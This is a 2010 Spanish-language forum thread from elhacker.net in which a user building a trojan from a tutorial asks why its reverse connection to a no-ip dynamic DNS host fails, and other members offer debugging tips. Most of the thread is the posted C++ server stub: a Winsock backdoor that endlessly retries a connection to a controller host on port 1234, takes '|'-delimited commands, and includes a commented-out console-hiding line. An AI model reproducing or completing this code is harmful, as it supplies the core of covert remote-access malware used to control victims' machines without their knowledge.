Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: Mr.Blue en 23 Agosto 2010, 02:39 am



Título: Duda sobre conexion inversa
Publicado por: Mr.Blue en 23 Agosto 2010, 02:39 am
hola gente les comento, tengo una duda sobre la conexion inversa en mi programa tengo esta linea

Código
  1. host=gethostbyname("ejemplo.no-ip.biz");
Pero no me lo toma no hay error en la compilacion porsupuesto, pero no me permite conectar al no ip

Tengo un router entonces abro el puerto que indico en el codigo ej: 1234

Pero no me puedo visualizar en el cliente, cuando ejecuto el server.
Puede ser que tenga algo que ver con el firewall?

Intente de dos maneras una con el no-ip y otra poniendo localhost y en esta si funciona.

Saludos
PD: Todo el codigo es el explicado por EON en el tutorial de como crear un troyano C++ y VB 6.0.


Título: Re: Duda sobre conexion inversa
Publicado por: [L]ord [R]NA en 23 Agosto 2010, 03:45 am
puedes mostrar el codigo con el cual te estas tratando de conectar?


Título: Re: Duda sobre conexion inversa
Publicado por: Mr.Blue en 23 Agosto 2010, 04:18 am
Código
  1. #include <winsock2.h>
  2. #include <windows.h>
  3. #include <string>
  4.  
  5. #include "c:/Dev-Cpp/Módulos/funVarias.h"
  6. #include "c:/Dev-Cpp/Módulos/mensajes.h"
  7.  
  8. #pragma comment(lib,"ws2_32.lib") //Para linkear la libreria del winsock
  9.  
  10. int main(void)
  11. {
  12.   //ShowWindow(GetForegroundWindow(),SW_HIDE); //Esta linea sirve para ocultar la consola y poner el programa como proceso. Por ahora la dejamos asi.
  13.   WSADATA wsa; //Si no sabes que es todo esto, leete mejor el manual xDD
  14.   SOCKET sock;
  15.   struct hostent *host;
  16.   struct sockaddr_in direc;
  17.   int conex;
  18.   char Buffer[1024];
  19.   int len;
  20.  
  21.   //Inicializamos
  22.   WSAStartup(MAKEWORD(2,2),&wsa);
  23.  
  24.   //Establememos el dominio donde nos conectaremos, por ahora ponemos 127.0.0.1 para hacer las pruevas
  25.   host=gethostbyname("localhost"); //localhost = 127.0.0.1 ;P
  26.  
  27.   //creamos el socket
  28.   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  29.   if (sock==-1)
  30.   {
  31.      //Si se produce un error al crear el socket
  32.      main(); //Llamamos de nuevo a la función principal para seguir intentandolo
  33.   }
  34.   //Definimos la dirección a conectar que hemos recibido desde el gethostbyname
  35.   //y decimos que el puerto al que deberá conectar
  36.   direc.sin_family=AF_INET;
  37.   direc.sin_port=htons(1234); //Elegimos un puerto cualkiera, mas adelante esto lo elegirá el usuario cuando hagamos el server edit
  38.   direc.sin_addr = *((struct in_addr *)host->h_addr);
  39.   memset(direc.sin_zero,0,8);
  40.  
  41.   //Intentamos establecer la conexión hasta que lo logremos
  42.   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
  43.   while (conex==-1)
  44.   { //Esto es lo que hará si no se puede conetar:
  45.   Sleep(100); //Hacemos q el programa se detenga un poco, cuando se termine el troyano conviene subir este intervalo
  46.                   //Por ahora lo dejamos asi para hacer mas comodas las pruevas
  47.   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr)); //He intentamos establecer la conexión de nuevo hasta que lo logremos.
  48.   }
  49.  
  50. len=send(sock,"hola",4,0); //Como somos muy educados saludamos xDD el 4 despues del hola indica el nº de
  51.                           //caracteres a enviar
  52.  
  53.   while (len!=0) //Mientras que permanezcamoos conectados
  54.   {
  55.      len = recv(sock,Buffer,1023,0); //Recibimos los datos que envie
  56.  std::string sBuffer(Buffer);
  57.  
  58.      if (len>0)  //Si seguimos conectados...
  59.  {
  60.  
  61. Buffer[len]=0; //Ponemos los datos recibidos al final de la cadena
  62.  
  63.            if (Split(sBuffer, '|', 0) == "mensj")
  64. {
  65. //Llamamos a la funcion q muestra los mensajes
  66. mostrarMsj(Split(sBuffer, '|', 1),Split(sBuffer, '|', 2), Split(sBuffer, '|', 3));
  67. }
  68.  
  69.  
  70.       }
  71.    }
  72.  
  73.   main(); //Cuando nos desconectamos volvemos a llamar a main para q siga intentando conectarse
  74.   return 0;
  75. }
  76.  

Si este es el codigo del tuto de EON. Simplemente lo q quiero hacer es cambiar el localhost a un no-ip. pero no lo logro hacer funcar, cambio el localhost por mi no-ip y abro el puerto indicado desde mi router. Pero en el cliente no aparesco.


Título: Re: Duda sobre conexion inversa
Publicado por: winnipu en 26 Agosto 2010, 00:15 am
has probado en otro puerto por ej digamos vicentico.


Título: Re: Duda sobre conexion inversa
Publicado por: Mr.Blue en 26 Agosto 2010, 03:23 am
?

el problema creo q esta en usar gethostbyname voy a intentar con otra getadderinfo


Título: Re: Duda sobre conexion inversa
Publicado por: fary en 26 Agosto 2010, 04:59 am
llama a GetlastError y comprueba en que api esta el error, capaz que estas buscando en lugar equivocado el error ;)

salu2!


Título: Re: Duda sobre conexion inversa
Publicado por: Mr.Blue en 27 Agosto 2010, 03:23 am
mmm.. tengo algunos problemas al utilizar GetlastError, revisado la MSDN, vi un ejemplo de como usarla pero al momento de compilar me salen algunos errores, creo que es por el IDE del compilador que tengo Dev-C++

Esto es lo q me tira el compilador
StringCchPrintf
#include <strsafe.h>  ---> esta libreria falta.

Hay algun reemplazo para esta libreria, para el ide q tengo?
O mejor cambio a VC++